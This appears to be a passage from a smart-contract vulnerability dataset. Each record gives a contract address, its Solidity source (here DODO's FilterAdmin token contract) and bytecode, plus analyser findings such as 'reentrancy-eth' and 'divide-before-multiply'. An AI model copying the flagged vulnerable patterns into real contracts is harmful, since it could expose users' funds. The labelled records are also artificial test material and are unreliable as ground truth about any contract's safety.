5b80156110855750601554600160b01b900460ff165b80156110aa57506001600160a01b03851660009081526005602052604090205460ff16155b80156110cf57506001600160a01b03841660009081526005602052604090205460ff16155b156110ef576110dd826112f1565b4780156110ed576110ed47611233565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113457506001600160a01b03831660009081526005602052604090205460ff165b8061116657506015546001600160a01b0385811691161480159061116657506015546001600160a01b03848116911614155b15611173575060006111ed565b6015546001600160a01b03858116911614801561119e57506014546001600160a01b03848116911614155b156111b057600854600c55600954600d555b6015546001600160a01b0384811691161480156111db57506014546001600160a01b03858116911614155b156111ed57600a54600c55600b54600d555b610a7a8484848461147a565b6000818484111561121d5760405162461bcd60e51b81526004016106319190611a30565b50600061122a8486611cd6565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a2573d6000803e3d6000fd5b60006006548211156112d45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610631565b60006112de6114a8565b90506112ea83826114cb565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133957611339611c77565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138d57600080fd5b505afa1580156113a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c59190611ced565b816001815181106113d8576113d8611c77565b6001600160a01b0392831660209182029290920101526014546113fe9130911684610b99565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611437908590600090869030904290600401611d0a565b600060405180830381600087803b15801561145157600080fd5b505af1158015611465573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114875761148761150d565b61149284848461153b565b80610a7a57610a7a600e54600c55600f54600d55565b60008060006114b5611632565b90925090506114c482826114cb565b9250505090565b60006112ea83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611672565b600c5415801561151d5750600d54155b1561152457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154d876116a0565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157f90876116fd565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ae908661173f565b6001600160a01b0389166000908152600260205260409020556115d08161179e565b6115da84836117e8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161f91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164d82826114cb565b82101561166957505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116935760405162461bcd60e51b81526004016106319190611a30565b50600061122a8486611d7b565b60008060008060008060008060006116bd8a600c54600d5461180c565b92509250925060006116cd6114a8565b905060008060006116e08e878787611861565b919e509c509a509598509396509194505050505091939550919395565b60006112ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f9565b60008061174c8385611cbe565b9050838110156112ea5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610631565b60006117a86114a8565b905060006117b683836118b1565b306000908152600260205260409020549091506117d3908261173f565b30600090815260026020526040902055505050565b6006546117f590836116fd565b600655600754611805908261173f565b6007555050565b6000808080611826606461182089896118b1565b906114cb565b9050600061183960646118208a896118b1565b905060006118518261184b8b866116fd565b906116fd565b9992985090965090945050505050565b600080808061187088866118b1565b9050600061187e88876118b1565b9050600061188c88886118b1565b9050600061189e8261184b86866116fd565b939b939a50919850919650505050505050565b6000826118c0575060006106b7565b60006118cc8385611d9d565b9050826118d98583611d7b565b146112ea5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610631565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080157600080fd5b803561196681611946565b919050565b6000602080838503121561197e57600080fd5b823567ffffffffffffffff8082111561199657600080fd5b818501915085601f8301126119aa57600080fd5b8135818111156119bc576119bc611930565b8060051b604051601f19603f830116810181811085821117156119e1576119e1611930565b6040529182528482019250838101850191888311156119ff57600080fd5b938501935b82851015611a2457611a158561195b565b84529385019392850192611a04565b98975050505050505050565b600060208083528351808285015260005b81811015611a5d57858101830151858201604001528201611a41565b81811115611a6f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9857600080fd5b8235611aa381611946565b946020939093013593505050565b600080600060608486031215611ac657600080fd5b8335611ad181611946565b92506020840135611ae181611946565b929592945050506040919091013590565b600060208284031215611b0457600080fd5b81356112ea81611946565b8035801515811461196657600080fd5b600060208284031215611b3157600080fd5b6112ea82611b0f565b600060208284031215611b4c57600080fd5b5035919050565b60008060008060808587031215611b6957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9a57600080fd5b833567ffffffffffffffff80821115611bb257600080fd5b818601915086601f830112611bc657600080fd5b813581811115611bd557600080fd5b8760208260051b8501011115611bea57600080fd5b602092830195509350611c009186019050611b0f565b90509250925092565b60008060408385031215611c1c57600080fd5b8235611c2781611946565b91506020830135611c3781611946565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb757611cb7611c8d565b5060010190565b60008219821115611cd157611cd1611c8d565b500190565b600082821015611ce857611ce8611c8d565b500390565b600060208284031215611cff57600080fd5b81516112ea81611946565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d5a5784516001600160a01b031683529383019391830191600101611d35565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db757611db7611c8d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201d163f6c6401d18abe728f1cb4a8734207f83f44af14276b080d5bcb30e2fed664736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
2,508
0xD4F77342a08EFF87B67D2F0Cfd34ed8c8E6Aa49e
// File: contracts/lib/SafeMath.sol /* Copyright 2020 DODO ZOO. SPDX-License-Identifier: Apache-2.0 */ pragma solidity 0.6.9; pragma experimental ABIEncoderV2; /** * @title SafeMath * @author DODO Breeder * * @notice Math operations with safety checks that revert on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "MUL_ERROR"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "DIVIDING_ERROR"); return a / b; } function divCeil(uint256 a, uint256 b) internal pure returns (uint256) { uint256 quotient = div(a, b); uint256 remainder = a - quotient * b; if (remainder > 0) { return quotient + 1; } else { return quotient; } } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SUB_ERROR"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "ADD_ERROR"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = x / 2 + 1; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } // File: contracts/lib/InitializableOwnable.sol /** * @title Ownable * @author DODO Breeder * * @notice Ownership related functions */ contract InitializableOwnable { address public _OWNER_; address public _NEW_OWNER_; bool internal _INITIALIZED_; // ============ Events ============ event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); // ============ Modifiers ============ modifier notInitialized() { require(!_INITIALIZED_, "DODO_INITIALIZED"); _; } modifier onlyOwner() { require(msg.sender == _OWNER_, "NOT_OWNER"); _; } // ============ Functions ============ function initOwner(address newOwner) public notInitialized { _INITIALIZED_ = true; _OWNER_ = newOwner; } function transferOwnership(address newOwner) public onlyOwner { emit OwnershipTransferPrepared(_OWNER_, newOwner); _NEW_OWNER_ = newOwner; } function claimOwnership() public { require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM"); emit OwnershipTransferred(_OWNER_, _NEW_OWNER_); _OWNER_ = _NEW_OWNER_; _NEW_OWNER_ = address(0); } } // File: contracts/external/ERC20/InitializableInternalMintableERC20.sol contract InitializableInternalMintableERC20 is InitializableOwnable { using SafeMath for uint256; string public name; uint8 public decimals; string public symbol; uint256 public totalSupply; mapping(address => uint256) internal balances; mapping(address => mapping(address => uint256)) internal allowed; event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); event Mint(address indexed user, uint256 value); event Burn(address indexed user, uint256 value); function init( address _creator, uint256 _initSupply, string memory _name, string memory _symbol, uint8 _decimals ) public { initOwner(_creator); name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _initSupply; balances[_creator] = _initSupply; emit Transfer(address(0), _creator, _initSupply); } function transfer(address to, uint256 amount) public virtual returns (bool) { require(to != address(0), "TO_ADDRESS_IS_EMPTY"); require(amount <= balances[msg.sender], "BALANCE_NOT_ENOUGH"); balances[msg.sender] = balances[msg.sender].sub(amount); balances[to] = balances[to].add(amount); emit Transfer(msg.sender, to, amount); return true; } function balanceOf(address owner) public view returns (uint256 balance) { return balances[owner]; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { require(to != address(0), "TO_ADDRESS_IS_EMPTY"); require(amount <= balances[from], "BALANCE_NOT_ENOUGH"); require(amount <= allowed[from][msg.sender], "ALLOWANCE_NOT_ENOUGH"); balances[from] = balances[from].sub(amount); balances[to] = balances[to].add(amount); allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount); emit Transfer(from, to, amount); return true; } function approve(address spender, uint256 amount) public virtual returns (bool) { allowed[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return allowed[owner][spender]; } function _mint(address user, uint256 value) internal { balances[user] = balances[user].add(value); totalSupply = totalSupply.add(value); emit Mint(user, value); emit Transfer(address(0), user, value); } function _burn(address user, uint256 value) internal { balances[user] = balances[user].sub(value); totalSupply = totalSupply.sub(value); emit Burn(user, value); emit Transfer(user, address(0), value); } } // File: contracts/NFTPool/intf/IController.sol interface IController { function getMintFeeRate(address filterAdminAddr) external view returns (uint256); function getBurnFeeRate(address filterAdminAddr) external view returns (uint256); function isEmergencyWithdrawOpen(address filter) external view returns (bool); } // File: contracts/lib/DecimalMath.sol /** * @title DecimalMath * @author DODO Breeder * * @notice Functions for fixed point number with 18 decimals */ library DecimalMath { using SafeMath for uint256; uint256 internal constant ONE = 10**18; uint256 internal constant ONE2 = 10**36; function mulFloor(uint256 target, uint256 d) internal pure returns (uint256) { return target.mul(d) / (10**18); } function mulCeil(uint256 target, uint256 d) internal pure returns (uint256) { return target.mul(d).divCeil(10**18); } function divFloor(uint256 target, uint256 d) internal pure returns (uint256) { return target.mul(10**18).div(d); } function divCeil(uint256 target, uint256 d) internal pure returns (uint256) { return target.mul(10**18).divCeil(d); } function reciprocalFloor(uint256 target) internal pure returns (uint256) { return uint256(10**36).div(target); } function reciprocalCeil(uint256 target) internal pure returns (uint256) { return uint256(10**36).divCeil(target); } function powFloor(uint256 target, uint256 e) internal pure returns (uint256) { if (e == 0) { return 10 ** 18; } else if (e == 1) { return target; } else { uint p = powFloor(target, e.div(2)); p = p.mul(p) / (10**18); if (e % 2 == 1) { p = p.mul(target) / (10**18); } return p; } } } // File: contracts/NFTPool/impl/FilterAdmin.sol contract FilterAdmin is InitializableInternalMintableERC20 { using SafeMath for uint256; // ============ Storage ============ address[] public _FILTERS_; mapping(address => bool) public _FILTER_REGISTRY_; uint256 public _FEE_RATE_; address public _CONTROLLER_; address public _MAINTAINER_; uint256 public _INIT_SUPPLY_; // ============ Event ============ event ChangeFeeRate(uint256 fee); event AddFilter(address filter); function init( address owner, uint256 initSupply, string memory name, string memory symbol, uint256 feeRate, address controller, address maintainer, address[] memory filters ) external { require(feeRate <= DecimalMath.ONE, "FEE_RATE_TOO_LARGE"); super.init(owner, initSupply, name, symbol, 18); _INIT_SUPPLY_ = initSupply; _FEE_RATE_ = feeRate; _CONTROLLER_ = controller; _MAINTAINER_ = maintainer; _FILTERS_ = filters; for (uint256 i = 0; i < filters.length; i++) { _FILTER_REGISTRY_[filters[i]] = true; } } function mintFragTo(address to, uint256 rawAmount) external returns (uint256) { require(isRegisteredFilter(msg.sender), "FILTER_NOT_REGISTERED"); (uint256 poolFee, uint256 mtFee, uint256 received) = queryMintFee(rawAmount); if (poolFee > 0) _mint(_OWNER_, poolFee); if (mtFee > 0) _mint(_MAINTAINER_, mtFee); _mint(to, received); return received; } function burnFragFrom(address from, uint256 rawAmount) external returns (uint256) { require(isRegisteredFilter(msg.sender), "FILTER_NOT_REGISTERED"); (uint256 poolFee, uint256 mtFee, uint256 paid) = queryBurnFee(rawAmount); if (poolFee > 0) _mint(_OWNER_, poolFee); if (mtFee > 0) _mint(_MAINTAINER_, mtFee); _burn(from, paid); return paid; } //================ View ================ function queryMintFee(uint256 rawAmount) view public returns ( uint256 poolFee, uint256 mtFee, uint256 afterChargedAmount ) { uint256 mtFeeRate = IController(_CONTROLLER_).getMintFeeRate(address(this)); poolFee = DecimalMath.mulFloor(rawAmount, _FEE_RATE_); mtFee = DecimalMath.mulFloor(rawAmount, mtFeeRate); afterChargedAmount = rawAmount.sub(poolFee).sub(mtFee); } function queryBurnFee(uint256 rawAmount) view public returns ( uint256 poolFee, uint256 mtFee, uint256 afterChargedAmount ) { uint256 mtFeeRate = IController(_CONTROLLER_).getBurnFeeRate(address(this)); poolFee = DecimalMath.mulFloor(rawAmount, _FEE_RATE_); mtFee = DecimalMath.mulFloor(rawAmount, mtFeeRate); afterChargedAmount = rawAmount.add(poolFee).add(mtFee); } function isRegisteredFilter(address filter) public view returns (bool) { return _FILTER_REGISTRY_[filter]; } function getFilters() public view returns (address[] memory) { return _FILTERS_; } //================= Owner ================ function addFilter(address[] memory filters) external onlyOwner { for(uint256 i = 0; i < filters.length; i++) { require(!isRegisteredFilter(filters[i]), "FILTER_ALREADY_EXIST"); _FILTERS_.push(filters[i]); _FILTER_REGISTRY_[filters[i]] = true; emit AddFilter(filters[i]); } } function changeFeeRate(uint256 newFeeRate) external onlyOwner { require(newFeeRate <= DecimalMath.ONE, "FEE_RATE_TOO_LARGE"); _FEE_RATE_ = newFeeRate; emit ChangeFeeRate(newFeeRate); } function directTransferOwnership(address newOwner) external onlyOwner { emit OwnershipTransferred(_OWNER_, newOwner); _OWNER_ = newOwner; } //================= Support ================ function version() external pure virtual returns (string memory) { return "FILTER ADMIN 1.0.0"; } }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c80637054dad51161010f578063bd2e6ca3116100a2578063dd62ed3e11610071578063dd62ed3e146103e2578063f2fde38b146103f5578063f495da3c14610408578063fc90ef181461041b576101f0565b8063bd2e6ca3146103ac578063bdd37dc6146103b4578063d085e601146103c7578063d0b681f7146103da576101f0565b806395d89b41116100de57806395d89b411461036b578063a9059cbb14610373578063af6d6c5514610386578063affca93214610399576101f0565b80637054dad514610326578063709176041461034857806370a08231146103505780638456db1514610363576101f0565b806323b872dd116101875780634e71e0c8116101565780634e71e0c8146102f0578063512e989a146102f857806353dbe52e1461030b57806354fd4d501461031e576101f0565b806323b872dd146102ab578063259060d9146102be578063313ce567146102d35780634322ec83146102e8576101f0565b806310d0be1a116101c357806310d0be1a1461025b57806316048bc41461026e57806318160ddd1461028357806320af237214610298576101f0565b80630219d1a8146101f557806306fdde031461021e578063095ea7b3146102335780630d00929714610246575b600080fd5b61020861020336600461160f565b61042e565b60405161021591906118f7565b60405180910390f35b610226610443565b6040516102159190611902565b61020861024136600461169e565b6104ce565b61025961025436600461160f565b610539565b005b61025961026936600461182b565b6105a2565b610276610702565b6040516102159190611896565b61028b610711565b6040516102159190611b42565b6102596102a63660046116c8565b610717565b6102086102b936600461165e565b6107fe565b6102c66109a1565b60405161021591906118aa565b6102db610a04565b6040516102159190611b61565b610276610a0d565b610259610a1c565b61028b61030636600461169e565b610aaa565b61020861031936600461160f565b610b31565b610226610b4f565b610339610334366004611866565b610b7b565b60405161021593929190611b4b565b610276610c49565b61028b61035e36600461160f565b610c58565b610276610c73565b610226610c82565b61020861038136600461169e565b610cdd565b61028b61039436600461169e565b610dc3565b6102596103a7366004611866565b610e41565b61028b610ed3565b6102596103c236600461160f565b610ed9565b6102766103d5366004611866565b610f5e565b61028b610f85565b61028b6103f036600461162a565b610f8b565b61025961040336600461160f565b610fb6565b610339610416366004611866565b61103b565b610259610429366004611795565b611100565b60096020526000908152604090205460ff1681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156104c65780601f1061049b576101008083540402835291602001916104c6565b820191906000526020600020905b8154815290600101906020018083116104a957829003601f168201915b505050505081565b3360008181526007602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610527908690611b42565b60405180910390a35060015b92915050565b600154600160a01b900460ff161561056c5760405162461bcd60e51b815260040161056390611a56565b60405180910390fd5b6001805460ff60a01b1916600160a01b179055600080546001600160a01b039092166001600160a01b0319909216919091179055565b6000546001600160a01b031633146105cc5760405162461bcd60e51b815260040161056390611aac565b60005b81518110156106fe576105f48282815181106105e757fe5b6020026020010151610b31565b156106115760405162461bcd60e51b81526004016105639061197c565b600882828151811061061f57fe5b60209081029190910181015182546001808201855560009485529284200180546001600160a01b0319166001600160a01b039092169190911790558351909160099185908590811061066d57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055507f45a7517575cc70cefc1fb1754afc2128a7ff9452792035984d0d443caa68a55e8282815181106106d957fe5b60200260200101516040516106ee9190611896565b60405180910390a16001016105cf565b5050565b6000546001600160a01b031681565b60055481565b670de0b6b3a764000084111561073f5760405162461bcd60e51b8152600401610563906119d8565b61074d888888886012611100565b600d879055600a849055600b80546001600160a01b038086166001600160a01b031992831617909255600c805492851692909116919091179055805161079a9060089060208401906113ea565b5060005b81518110156107f3576001600960008484815181106107b957fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905560010161079e565b505050505050505050565b60006001600160a01b0383166108265760405162461bcd60e51b815260040161056390611b15565b6001600160a01b03841660009081526006602052604090205482111561085e5760405162461bcd60e51b815260040161056390611a80565b6001600160a01b03841660009081526007602090815260408083203384529091529020548211156108a15760405162461bcd60e51b8152600401610563906119aa565b6001600160a01b0384166000908152600660205260409020546108ca908363ffffffff61118c16565b6001600160a01b0380861660009081526006602052604080822093909355908516815220546108ff908363ffffffff6111b416565b6001600160a01b038085166000908152600660209081526040808320949094559187168152600782528281203382529091522054610943908363ffffffff61118c16565b6001600160a01b038086166000818152600760209081526040808320338452909152908190209390935591519085169190600080516020611baf8339815191529061098f908690611b42565b60405180910390a35060019392505050565b606060088054806020026020016040519081016040528092919081815260200182805480156109f957602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116109db575b505050505090505b90565b60035460ff1681565b600c546001600160a01b031681565b6001546001600160a01b03163314610a465760405162461bcd60e51b815260040161056390611955565b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000610ab533610b31565b610ad15760405162461bcd60e51b815260040161056390611a04565b6000806000610adf85610b7b565b919450925090508215610b0257600054610b02906001600160a01b0316846111e0565b8115610b1e57600c54610b1e906001600160a01b0316836111e0565b610b2886826112b9565b95945050505050565b6001600160a01b031660009081526009602052604090205460ff1690565b604080518082019091526012815271046494c5445522041444d494e20312e302e360741b602082015290565b600b54604051630a5238f360e11b81526000918291829182916001600160a01b03909116906314a471e690610bb4903090600401611896565b60206040518083038186803b158015610bcc57600080fd5b505afa158015610be0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c04919061187e565b9050610c1285600a54611386565b9350610c1e8582611386565b9250610c4083610c34878763ffffffff6111b416565b9063ffffffff6111b416565b93959294505050565b600b546001600160a01b031681565b6001600160a01b031660009081526006602052604090205490565b6001546001600160a01b031681565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104c65780601f1061049b576101008083540402835291602001916104c6565b60006001600160a01b038316610d055760405162461bcd60e51b815260040161056390611b15565b33600090815260066020526040902054821115610d345760405162461bcd60e51b815260040161056390611a80565b33600090815260066020526040902054610d54908363ffffffff61118c16565b33600090815260066020526040808220929092556001600160a01b03851681522054610d86908363ffffffff6111b416565b6001600160a01b038416600081815260066020526040908190209290925590513390600080516020611baf83398151915290610527908690611b42565b6000610dce33610b31565b610dea5760405162461bcd60e51b815260040161056390611a04565b6000806000610df88561103b565b919450925090508215610e1b57600054610e1b906001600160a01b0316846111e0565b8115610e3757600c54610e37906001600160a01b0316836111e0565b610b2886826111e0565b6000546001600160a01b03163314610e6b5760405162461bcd60e51b815260040161056390611aac565b670de0b6b3a7640000811115610e935760405162461bcd60e51b8152600401610563906119d8565b600a8190556040517f959e25ed7f2462e87a914c01dc168688aafb2a2a3686e904a02c1ade7282fa2990610ec8908390611b42565b60405180910390a150565b600a5481565b6000546001600160a01b03163314610f035760405162461bcd60e51b815260040161056390611aac565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60088181548110610f6b57fe5b6000918252602090912001546001600160a01b0316905081565b600d5481565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6000546001600160a01b03163314610fe05760405162461bcd60e51b815260040161056390611aac565b600080546040516001600160a01b03808516939216917fdcf55418cee3220104fef63f979ff3c4097ad240c0c43dcb33ce837748983e6291a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b600b54604051632094b7dd60e21b81526000918291829182916001600160a01b0390911690638252df7490611074903090600401611896565b60206040518083038186803b15801561108c57600080fd5b505afa1580156110a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c4919061187e565b90506110d285600a54611386565b93506110de8582611386565b9250610c40836110f4878763ffffffff61118c16565b9063ffffffff61118c16565b61110985610539565b825161111c90600290602086019061144f565b50815161113090600490602085019061144f565b506003805460ff191660ff831617905560058490556001600160a01b03851660008181526006602052604080822087905551600080516020611baf8339815191529061117d908890611b42565b60405180910390a35050505050565b6000828211156111ae5760405162461bcd60e51b815260040161056390611a33565b50900390565b6000828201838110156111d95760405162461bcd60e51b815260040161056390611acf565b9392505050565b6001600160a01b038216600090815260066020526040902054611209908263ffffffff6111b416565b6001600160a01b038316600090815260066020526040902055600554611235908263ffffffff6111b416565b6005556040516001600160a01b038316907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688590611273908490611b42565b60405180910390a2816001600160a01b031660006001600160a01b0316600080516020611baf833981519152836040516112ad9190611b42565b60405180910390a35050565b6001600160a01b0382166000908152600660205260409020546112e2908263ffffffff61118c16565b6001600160a01b03831660009081526006602052604090205560055461130e908263ffffffff61118c16565b6005556040516001600160a01b038316907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59061134c908490611b42565b60405180910390a260006001600160a01b0316826001600160a01b0316600080516020611baf833981519152836040516112ad9190611b42565b6000670de0b6b3a76400006113a1848463ffffffff6113b016565b816113a857fe5b049392505050565b6000826113bf57506000610533565b828202828482816113cc57fe5b04146111d95760405162461bcd60e51b815260040161056390611af2565b82805482825590600052602060002090810192821561143f579160200282015b8281111561143f57825182546001600160a01b0319166001600160a01b0390911617825560209092019160019091019061140a565b5061144b9291506114c9565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061149057805160ff19168380011785556114bd565b828001600101855582156114bd579182015b828111156114bd5782518255916020019190600101906114a2565b5061144b9291506114ed565b610a0191905b8082111561144b5780546001600160a01b03191681556001016114cf565b610a0191905b8082111561144b57600081556001016114f3565b80356001600160a01b038116811461053357600080fd5b600082601f83011261152e578081fd5b813567ffffffffffffffff811115611544578182fd5b6020808202611554828201611b6f565b8381529350818401858301828701840188101561157057600080fd5b600092505b8483101561159b576115878882611507565b825260019290920191908301908301611575565b505050505092915050565b600082601f8301126115b6578081fd5b813567ffffffffffffffff8111156115cc578182fd5b6115df601f8201601f1916602001611b6f565b91508082528360208285010111156115f657600080fd5b8060208401602084013760009082016020015292915050565b600060208284031215611620578081fd5b6111d98383611507565b6000806040838503121561163c578081fd5b6116468484611507565b91506116558460208501611507565b90509250929050565b600080600060608486031215611672578081fd5b833561167d81611b96565b9250602084013561168d81611b96565b929592945050506040919091013590565b600080604083850312156116b0578182fd5b6116ba8484611507565b946020939093013593505050565b600080600080600080600080610100898b0312156116e4578384fd5b6116ee8a8a611507565b975060208901359650604089013567ffffffffffffffff80821115611711578586fd5b61171d8c838d016115a6565b975060608b0135915080821115611732578586fd5b61173e8c838d016115a6565b965060808b013595506117548c60a08d01611507565b94506117638c60c08d01611507565b935060e08b0135915080821115611778578283fd5b506117858b828c0161151e565b9150509295985092959890939650565b600080600080600060a086880312156117ac578081fd5b6117b68787611507565b945060208601359350604086013567ffffffffffffffff808211156117d9578283fd5b6117e589838a016115a6565b945060608801359150808211156117fa578283fd5b50611807888289016115a6565b925050608086013560ff8116811461181d578182fd5b809150509295509295909350565b60006020828403121561183c578081fd5b813567ffffffffffffffff811115611852578182fd5b61185e8482850161151e565b949350505050565b600060208284031215611877578081fd5b5035919050565b60006020828403121561188f578081fd5b5051919050565b6001600160a01b0391909116815260200190565b6020808252825182820181905260009190848201906040850190845b818110156118eb5783516001600160a01b0316835292840192918401916001016118c6565b50909695505050505050565b901515815260200190565b6000602080835283518082850152825b8181101561192e57858101830151858201604001528201611912565b8181111561193f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252600d908201526c494e56414c49445f434c41494d60981b604082015260600190565b60208082526014908201527311925315115497d053149150511657d1561254d560621b604082015260600190565b60208082526014908201527308298989eae829c868abe9c9ea8be8a9c9eaa8e960631b604082015260600190565b6020808252601290820152714645455f524154455f544f4f5f4c4152474560701b604082015260600190565b60208082526015908201527411925315115497d393d517d49151d254d511549151605a1b604082015260600190565b60208082526009908201526829aaa12fa2a92927a960b91b604082015260600190565b60208082526010908201526f1113d113d7d25392551250531256915160821b604082015260600190565b6020808252601290820152710848298829c868abe9c9ea8be8a9c9eaa8e960731b604082015260600190565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b60208082526009908201526820a2222fa2a92927a960b91b604082015260600190565b60208082526009908201526826aaa62fa2a92927a960b91b604082015260600190565b602080825260139082015272544f5f414444524553535f49535f454d50545960681b604082015260600190565b90815260200190565b9283526020830191909152604082015260600190565b60ff91909116815260200190565b60405181810167ffffffffffffffff81118282101715611b8e57600080fd5b604052919050565b6001600160a01b0381168114611bab57600080fd5b5056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220d390c22e68db8400596aa98cf98bb0afead50967ba16a06e9f4a4775eebe65a864736f6c63430006090033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
2,509
0xf2fa0387ab103598631dfb99a4893457319d1bcc
pragma solidity ^0.6.6; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return 